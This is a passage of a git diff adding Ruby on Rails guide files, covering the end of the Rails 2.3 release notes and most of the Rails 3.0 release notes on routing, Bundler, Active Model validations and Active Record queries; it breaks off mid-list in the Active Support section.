Nokogiri implementations for your own applications, provided you have the appropriate gems installed: + +```ruby +XmlMini.backend = 'LibXML' +``` + +* Lead Contributor: [Bart ten Brinke](http://www.movesonrails.com/) +* Lead Contributor: [Aaron Patterson](http://tenderlovemaking.com/) + +### Fractional seconds for TimeWithZone + +The `Time` and `TimeWithZone` classes include an `xmlschema` method to return the time in an XML-friendly string. As of Rails 2.3, `TimeWithZone` supports the same argument for specifying the number of digits in the fractional second part of the returned string that `Time` does: + +```ruby +>> Time.zone.now.xmlschema(6) +=> "2009-01-16T13:00:06.13653Z" +``` + +* Lead Contributor: [Nicholas Dainty](http://www.workingwithrails.com/person/13536-nicholas-dainty) + +### JSON Key Quoting + +If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys. + +### Other Active Support Changes + +* You can use `Enumerable#none?` to check that none of the elements match the supplied block. +* If you're using Active Support [delegates](https://afreshcup.com/home/2008/10/19/coming-in-rails-22-delegate-prefixes) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil. +* `ActiveSupport::OrderedHash`: now implements `each_key` and `each_value`. +* `ActiveSupport::MessageEncryptor` provides a simple way to encrypt information for storage in an untrusted location (like cookies). +* Active Support's `from_xml` no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around. +* If you memoize a private method, the result will now be private. +* `String#parameterize` accepts an optional separator: `"Quick Brown Fox".parameterize('_') => "quick_brown_fox"`. +* `number_to_phone` accepts 7-digit phone numbers now. +* `ActiveSupport::Json.decode` now handles `\u0000` style escape sequences. + +Railties +-------- + +In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces. + +### Rails Metal + +Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins. + +* More Information: + * [Introducing Rails Metal](https://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal) + * [Rails Metal: a micro-framework with the power of Rails](http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m) + * [Metal: Super-fast Endpoints within your Rails Apps](http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html) + * [What's New in Edge Rails: Rails Metal](http://archives.ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal) + +### Application Templates + +Rails 2.3 incorporates Jeremy McAnally's [rg](https://github.com/jm/rg) application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the `rails` command. There's also a rake task to apply a template to an existing application: + +``` +rake rails:template LOCATION=~/template.rb +``` + +This will layer the changes from the template on top of whatever code the project already contains. + +* Lead Contributor: [Jeremy McAnally](http://www.jeremymcanally.com/) +* More Info:[Rails templates](http://m.onkey.org/2008/12/4/rails-templates) + +### Quieter Backtraces + +Building on thoughtbot's [Quiet Backtrace](https://github.com/thoughtbot/quietbacktrace) plugin, which allows you to selectively remove lines from `Test::Unit` backtraces, Rails 2.3 implements `ActiveSupport::BacktraceCleaner` and `Rails::BacktraceCleaner` in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a `config/backtrace_silencers.rb` file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace. + +### Faster Boot Time in Development Mode with Lazy Loading/Autoload + +Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer, and Action View - are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance. + +You can also specify (by using the new `preload_frameworks` option) whether the core libraries should be autoloaded at startup. This defaults to `false` so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together. + +### rake gem Task Rewrite + +The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored. + +* Lead Contributor: [David Dollar](http://www.workingwithrails.com/person/12240-david-dollar) + +### Other Railties Changes + +* The instructions for updating a CI server to build Rails have been updated and expanded. +* Internal Rails testing has been switched from `Test::Unit::TestCase` to `ActiveSupport::TestCase`, and the Rails core requires Mocha to test. +* The default `environment.rb` file has been decluttered. +* The dbconsole script now lets you use an all-numeric password without crashing. +* `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to [clean up existing code](https://afreshcup.wordpress.com/2008/12/05/a-little-rails_root-tidiness/) that uses `File.join`. +* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`). +* Rails Guides have been converted from AsciiDoc to Textile markup. +* Scaffolded views and controllers have been cleaned up a bit. +* `script/server` now accepts a `--path` argument to mount a Rails application from a specific path. +* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing. +* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files. + +Deprecated +---------- + +A few pieces of older code are deprecated in this release: + +* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](https://github.com/rails/irs_process_scripts) plugin. +* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](https://github.com/rails/render_component/tree/master). +* Support for Rails components has been removed. +* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back. +* `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now. +* The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect. +* Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client. +* `formatted_polymorphic_url` is deprecated. Use `polymorphic_url` with `:format` instead. +* The `:http_only` option in `ActionController::Response#set_cookie` has been renamed to `:httponly`. +* The `:connector` and `:skip_last_comma` options of `to_sentence` have been replaced by `:words_connector`, `:two_words_connector`, and `:last_word_connector` options. +* Posting a multipart form with an empty `file_field` control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one. + +Credits +------- + +Release notes compiled by [Mike Gunderloy](http://afreshcup.com). This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3. diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md new file mode 100644 index 0000000000..e936644daf --- /dev/null +++ b/guides/source/3_0_release_notes.md @@ -0,0 +1,612 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Ruby on Rails 3.0 Release Notes +=============================== + +Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done! + +But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too. + +Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are: + +* Brand new router with an emphasis on RESTful declarations +* New Action Mailer API modeled after Action Controller (now without the agonizing pain of sending multipart messages!) +* New Active Record chainable query language built on top of relational algebra +* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS) +* Explicit dependency management with Bundler + +On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices. + +These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/3-0-stable) in the main Rails repository on GitHub. + +-------------------------------------------------------------------------------- + +To install Rails 3: + +```bash +# Use sudo if your setup requires it +$ gem install rails +``` + + +Upgrading to Rails 3 +-------------------- + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes: + +### Rails 3 requires at least Ruby 1.8.7 + +Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2. + +TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing. + +### Rails Application object + +As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to `config/environment.rb` from the previous versions of Rails. + +Each Rails application now must have a corresponding application object. The application object is defined in `config/application.rb`. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from `config/environment.rb` to `config/application.rb`. + +### script/* replaced by script/rails + +The new `script/rails` replaces all the scripts that used to be in the `script` directory. You do not run `script/rails` directly though, the `rails` command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is: + +```bash +$ rails console # instead of script/console +$ rails g scaffold post title:string # instead of script/generate scaffold post title:string +``` + +Run `rails --help` for a list of all the options. + +### Dependencies and config.gem + +The `config.gem` method is gone and has been replaced by using `bundler` and a `Gemfile`, see [Vendoring Gems](#vendoring-gems) below. + +### Upgrade Process + +To help with the upgrade process, a plugin named [Rails Upgrade](https://github.com/rails/rails_upgrade) has been created to automate part of it. + +Simply install the plugin, then run `rake rails:upgrade:check` to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a `Gemfile` based on your current `config.gem` calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following: + +```bash +$ ruby script/plugin install git://github.com/rails/rails_upgrade.git +``` + +You can see an example of how that works at [Rails Upgrade is now an Official Plugin](http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin) + +Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge! + +Creating a Rails 3.0 application +-------------------------------- + +```bash +# You should have the 'rails' RubyGem installed +$ rails new myapp +$ cd myapp +``` + +### Vendoring Gems + +Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/bundler/bundler) which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: - [bundler homepage](https://bundler.io/) + +### Living on the Edge + +`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command, so `rake freeze` is no longer relevant and has been dropped. + +If you want to bundle straight from the Git repository, you can pass the `--edge` flag: + +```bash +$ rails new myapp --edge +``` + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag: + +```bash +$ ruby /path/to/rails/bin/rails new myapp --dev +``` + +Rails Architectural Changes +--------------------------- + +There are six major changes in the architecture of Rails. + +### Railties Restrung + +Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner. + +### All Rails core components are decoupled + +With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will. + +More information: - [The Great Decoupling](http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/) + + +### Active Model Abstraction + +Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. + +More information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/) + + +### Controller Abstraction + +Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of `AbstractController` allowed `ActionController` and `ActionMailer` to be greatly simplified with common code removed from all these libraries and put into Abstract Controller. + +More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/) + + +### Arel Integration + +[Arel](https://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record. + +More information: - [Why I wrote Arel](https://web.archive.org/web/20120718093140/http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/) + + +### Mail Extraction + +Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the [Mail](https://github.com/mikel/mail) gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser. + +More information: - [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3) + + +Documentation +------------- + +The documentation in the Rails tree is being updated with all the API changes, additionally, the [Rails Edge Guides](https://edgeguides.rubyonrails.org/) are being updated one by one to reflect the changes in Rails 3.0. The guides at [guides.rubyonrails.org](https://guides.rubyonrails.org/) however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released). + +More Information: - [Rails Documentation Projects](https://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects) + + +Internationalization +-------------------- + +A large amount of work has been done with I18n support in Rails 3, including the latest [I18n](https://github.com/svenfuchs/i18n) gem supplying many speed improvements. + +* I18n for any object - I18n behavior can be added to any object by including `ActiveModel::Translation` and `ActiveModel::Validations`. There is also an `errors.messages` fallback for translations. +* Attributes can have default translations. +* Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation. +* Labels with I18n also now work by just passing the attribute name. + +More Information: - [Rails 3 I18n changes](http://blog.plataformatec.com.br/2010/02/rails-3-i18n-changes/) + + +Railties +-------- + +With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines, or plugins as painless and extensible as possible: + +* Each application now has its own name space, application is started with `YourAppName.boot` for example, makes interacting with other applications a lot easier. +* Anything under `Rails.root/app` is now added to the load path, so you can make `app/observers/user_observer.rb` and Rails will load it without any modifications. +* Rails 3.0 now provides a `Rails.config` object, which provides a central repository of all sorts of Rails wide configuration options. + + Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new `--dev` flag has been added which sets the application up with the `Gemfile` pointing to your Rails checkout (which is determined by the path to the `rails` binary). See `rails --help` for more info. + +Railties generators got a huge amount of attention in Rails 3.0, basically: + +* Generators were completely rewritten and are backwards incompatible. +* Rails templates API and generators API were merged (they are the same as the former). +* Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling `rails generate foo` will look for `generators/foo_generator`. +* New generators provide hooks, so any template engine, ORM, test framework can easily hook in. +* New generators allow you to override the templates by placing a copy at `Rails.root/lib/templates`. +* `Rails::Generators::TestCase` is also supplied so you can create your own generators and test them. + +Also, the views generated by Railties generators had some overhaul: + +* Views now use `div` tags instead of `p` tags. +* Scaffolds generated now make use of `_form` partials, instead of duplicated code in the edit and new views. +* Scaffold forms now use `f.submit` which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in. + +Finally a couple of enhancements were added to the rake tasks: + +* `rake db:forward` was added, allowing you to roll forward your migrations individually or in groups. +* `rake routes CONTROLLER=x` was added allowing you to just view the routes for one controller. + +Railties now deprecates: + +* `RAILS_ROOT` in favor of `Rails.root`, +* `RAILS_ENV` in favor of `Rails.env`, and +* `RAILS_DEFAULT_LOGGER` in favor of `Rails.logger`. + +`PLUGIN/rails/tasks`, and `PLUGIN/tasks` are no longer loaded all tasks now must be in `PLUGIN/lib/tasks`. + +More information: + +* [Discovering Rails 3 generators](http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators) +* [The Rails Module (in Rails 3)](http://quaran.to/blog/2010/02/03/the-rails-module/) + +Action Pack +----------- + +There have been significant internal and external changes in Action Pack. + + +### Abstract Controller + +Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed `ActionMailer::Base` to now just inherit from `AbstractController` and just wrap the Rails DSL onto the Mail gem. + +It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code. + +Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails. + +More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/) + + +### Action Controller + +* `application_controller.rb` now has `protect_from_forgery` on by default. +* The `cookie_verifier_secret` has been deprecated and now instead it is assigned through `Rails.application.config.cookie_secret` and moved into its own file: `config/initializers/cookie_verification_secret.rb`. +* The `session_store` was configured in `ActionController::Base.session`, and that is now moved to `Rails.application.config.session_store`. Defaults are set up in `config/initializers/session_store.rb`. +* `cookies.secure` allowing you to set encrypted values in cookies with `cookie.secure[:key] => value`. +* `cookies.permanent` allowing you to set permanent values in the cookie hash `cookie.permanent[:key] => value` that raise exceptions on signed values if verification failures. +* You can now pass `:notice => 'This is a flash message'` or `:alert => 'Something went wrong'` to the `format` call inside a `respond_to` block. The `flash[]` hash still works as previously. +* `respond_with` method has now been added to your controllers simplifying the venerable `format` blocks. +* `ActionController::Responder` added allowing you flexibility in how your responses get generated. + +Deprecations: + +* `filter_parameter_logging` is deprecated in favor of `config.filter_parameters << :password`. + +More Information: + +* [Render Options in Rails 3](https://blog.engineyard.com/2010/render-options-in-rails-3) +* [Three reasons to love ActionController::Responder](https://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder) + + +### Action Dispatch + +Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing. + +* Big clean up and re-write of the router, the Rails router is now `rack_mount` with a Rails DSL on top, it is a stand alone piece of software. +* Routes defined by each application are now name spaced within your Application module, that is: + + ```ruby + # Instead of: + + ActionController::Routing::Routes.draw do |map| + map.resources :posts + end + + # You do: + + AppName::Application.routes do + resources :posts + end + ``` + +* Added `match` method to the router, you can also pass any Rack application to the matched route. +* Added `constraints` method to the router, allowing you to guard routers with defined constraints. +* Added `scope` method to the router, allowing you to namespace routes for different languages or different actions, for example: + + ```ruby + scope 'es' do + resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto' + end + + # Gives you the edit action with /es/proyecto/1/cambiar + ``` + +* Added `root` method to the router as a short cut for `match '/', :to => path`. +* You can pass optional segments into the match, for example `match "/:controller(/:action(/:id))(.:format)"`, each parenthesized segment is optional. +* Routes can be expressed via blocks, for example you can call `controller :home { match '/:action' }`. + +NOTE. The old style `map` commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release. + +Deprecations + +* The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out. +* Routes `:path_prefix` no longer exists and `:name_prefix` now automatically adds "_" at the end of the given value. + +More Information: +* [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/) +* [Revamped Routes in Rails 3](https://medium.com/fusion-of-thoughts/revamped-routes-in-rails-3-b6d00654e5b0) +* [Generic Actions in Rails 3](http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/) + + +### Action View + +#### Unobtrusive JavaScript + +Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers. + +What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](https://github.com/rails/prototype_legacy_helper). To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example: + +```ruby +form_for @post, :remote => true +``` + +Produces: + +```html +<form action="http://host.com" id="create-post" method="post" data-remote="true"> +``` + +#### Helpers with Blocks + +Helpers like `form_for` or `div_for` that insert content from a block use `<%=` now: + +```html+erb +<%= form_for @post do |f| %> + ... +<% end %> +``` + +Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand. + +Helpers that do something else, like `cache` or `content_for`, are not affected by this change, they need `<%` as before. + +#### Other Changes + +* You no longer need to call `h(string)` to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call `raw(string)`. +* Helpers now output HTML 5 by default. +* Form label helper now pulls values from I18n with a single value, so `f.label :name` will pull the `:name` translation. +* I18n select label on should now be :en.helpers.select instead of :en.support.select. +* You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output. +* Added `grouped_collection_select` helper to Action View. +* `content_for?` has been added allowing you to check for the existence of content in a view before rendering. +* passing `:value => nil` to form helpers will set the field's `value` attribute to nil as opposed to using the default value +* passing `:id => nil` to form helpers will cause those fields to be rendered with no `id` attribute +* passing `:alt => nil` to `image_tag` will cause the `img` tag to render with no `alt` attribute + +Active Model +------------ + +Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface. + + +### ORM Abstraction and Action Pack Interface + +Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. + +More Information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/) + + +### Validations + +Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3. + +* There is now a `validates :attribute, options_hash` shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method. +* The `validates` method has the following options: + * `:acceptance => Boolean`. + * `:confirmation => Boolean`. + * `:exclusion => { :in => Enumerable }`. + * `:inclusion => { :in => Enumerable }`. + * `:format => { :with => Regexp, :on => :create }`. + * `:length => { :maximum => Fixnum }`. + * `:numericality => Boolean`. + * `:presence => Boolean`. + * `:uniqueness => Boolean`. + +NOTE: All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API. + +You can also pass in a validator object, which you can then reuse between objects that use Active Model: + +```ruby +class TitleValidator < ActiveModel::EachValidator + Titles = ['Mr.', 'Mrs.', 'Dr.'] + def validate_each(record, attribute, value) + unless Titles.include?(value) + record.errors[attribute] << 'must be a valid title' + end + end +end +``` + +```ruby +class Person + include ActiveModel::Validations + attr_accessor :title + validates :title, :presence => true, :title => true +end + +# Or for Active Record + +class Person < ActiveRecord::Base + validates :title, :presence => true, :title => true +end +``` + +There's also support for introspection: + +```ruby +User.validators +User.validators_on(:login) +``` + +More Information: + +* [Sexy Validation in Rails 3](http://thelucid.com/2010/01/08/sexy-validation-in-edge-rails-rails-3/) +* [Rails 3 Validations Explained](http://lindsaar.net/2010/1/31/validates_rails_3_awesome_is_true) + + +Active Record +------------- + +Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates, and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1. + + +### Query Interface + +Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together: + +* `where` - provides conditions on the relation, what gets returned. +* `select` - choose what attributes of the models you wish to have returned from the database. +* `group` - groups the relation on the attribute supplied. +* `having` - provides an expression limiting group relations (GROUP BY constraint). +* `joins` - joins the relation to another table. +* `clause` - provides an expression limiting join relations (JOIN constraint). +* `includes` - includes other relations pre-loaded. +* `order` - orders the relation based on the expression supplied. +* `limit` - limits the relation to the number of records specified. +* `lock` - locks the records returned from the table. +* `readonly` - returns an read only copy of the data. +* `from` - provides a way to select relationships from more than one table. +* `scope` - (previously `named_scope`) return relations and can be chained together with the other relation methods. +* `with_scope` - and `with_exclusive_scope` now also return relations and so can be chained. +* `default_scope` - also works with relations. + +More Information: + +* [Active Record Query Interface](http://m.onkey.org/2010/1/22/active-record-query-interface) +* [Let your SQL Growl in Rails 3](http://hasmanyquestions.wordpress.com/2010/01/17/let-your-sql-growl-in-rails-3/) + + +### Enhancements + +* Added `:destroyed?` to Active Record objects. +* Added `:inverse_of` to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database. + + +### Patches and Deprecations + +Additionally, many fixes in the Active Record branch: + +* SQLite 2 support has been dropped in favor of SQLite 3. +* MySQL support for column order. +* PostgreSQL adapter has had its `TIME ZONE` support fixed so it no longer inserts incorrect values. +* Support multiple schemas in table names for PostgreSQL. +* PostgreSQL support for the XML data type column. +* `table_name` is now cached. +* A large amount of work done on the Oracle adapter as well with many bug fixes. + +As well as the following deprecations: + +* `named_scope` in an Active Record class is deprecated and has been renamed to just `scope`. +* In `scope` methods, you should move to using the relation methods, instead of a `:conditions => {}` finder method, for example `scope :since, lambda {|time| where("created_at > ?", time) }`. +* `save(false)` is deprecated, in favor of `save(:validate => false)`. +* I18n error messages for Active Record should be changed from :en.activerecord.errors.template to `:en.errors.template`. +* `model.errors.on` is deprecated in favor of `model.errors[]` +* validates_presence_of => validates... :presence => true +* `ActiveRecord::Base.colorize_logging` and `config.active_record.colorize_logging` are deprecated in favor of `Rails::LogSubscriber.colorize_logging` or `config.colorize_logging` + +NOTE: While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release. + + +Active Resource +--------------- + +Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly. + +* Added validations through Active Model. +* Added observing hooks. +* HTTP proxy support. +* Added support for digest authentication. +* Moved model naming into Active Model. +* Changed Active Resource attributes to a Hash with indifferent access. +* Added `first`, `last` and `all` aliases for equivalent find scopes. +* `find_every` now does not return a `ResourceNotFound` error if nothing returned. +* Added `save!` which raises `ResourceInvalid` unless the object is `valid?`. +* `update_attribute` and `update_attributes` added to Active Resource models. +* Added `exists?`. +* Renamed `SchemaDefinition` to `Schema` and `define_schema` to `schema`. +* Use the `format` of Active Resources rather than the `content-type` of remote errors to load errors. +* Use `instance_eval` for schema block. +* Fix `ActiveResource::ConnectionError#to_s` when `@response` does not respond to #code or #message, handles Ruby 1.9 compatibility. +* Add support for errors in JSON format. +* Ensure `load` works with numeric arrays. +* Recognizes a 410 response from remote resource as the resource has been deleted. +* Add ability to set SSL options on Active Resource connections. +* Setting connection timeout also affects `Net::HTTP` `open_timeout`. + +Deprecations: + +* `save(false)` is deprecated, in favor of `save(:validate => false)`. +* Ruby 1.9.2: `URI.parse` and `.decode` are deprecated and are no longer used in the library. + + +Active Support +-------------- + +A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer. + +These are the main changes in Active Support: + +* Large clean up of the library removing unused methods throughout. +* Active Support no longer provides vendored versions of TZInfo, Memcache Client and Builder. These are all included as dependencies and installed via the `bundle install` command. +* Safe buffers are implemented in `ActiveSupport::SafeBuffer`. +* Added `Array.uniq_by` and `Array.uniq_by!`. +* Removed `Array#rand` and backported `Array#sample` from Ruby 1.9. +* Fixed bug on `TimeZone.seconds_to_utc_offset` returning wrong value. +* Added `ActiveSupport::Notifications` middleware. +* `ActiveSupport.use_standard_json_time_format` now defaults to true. +* `ActiveSupport.escape_html_entities_in_json` now defaults to false. +* `Integer#multiple_of?` accepts zero as an argument, returns false unless the receiver is zero. +* `string.chars` has been renamed to `string.mb_chars`. +* `ActiveSupport::OrderedHash` now can de-serialize through YAML. +* Added SAX-based parser for XmlMini, using LibXML and Nokogiri. +* Added `Object#presence` that returns the object if it's `#present?` otherwise returns `nil`. +* Added `String#exclude?` core extension that returns the inverse of `#include?`. +* Added `to_i` to `DateTime` in `ActiveSupport` so `to_yaml` works correctly on models with `DateTime` attributes. +* Added `Enumerable#exclude?` to bring parity to `Enumerable#include?` and avoid if `!x.include?`. +* Switch to on-by-default XSS escaping for rails. +* Support deep-merging in `ActiveSupport::HashWithIndifferentAccess`. +* `Enumerable#sum` now works will all enumerables, even if they don't respond to `:size`. +* `inspect` on a zero length duration returns '0 seconds' instead of empty string. +* Add `element` and `collection` to `ModelName`. +* `String#to_time` and `String#to_datetime` handle fractional seconds. +* Added support to new callbacks for around filter object that respond to `:before` and `:after` used in before and after callbacks. +* The `ActiveSupport::OrderedHash#to_a` method returns an ordered set of arrays. Matches Ruby 1.9's `Hash#to_a`. +* `MissingSourceFile` exists as a constant but it is now just equal to `LoadError`. +* Added `Class#class_attribute`, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses. +* Finally removed `DeprecatedCallbacks` in 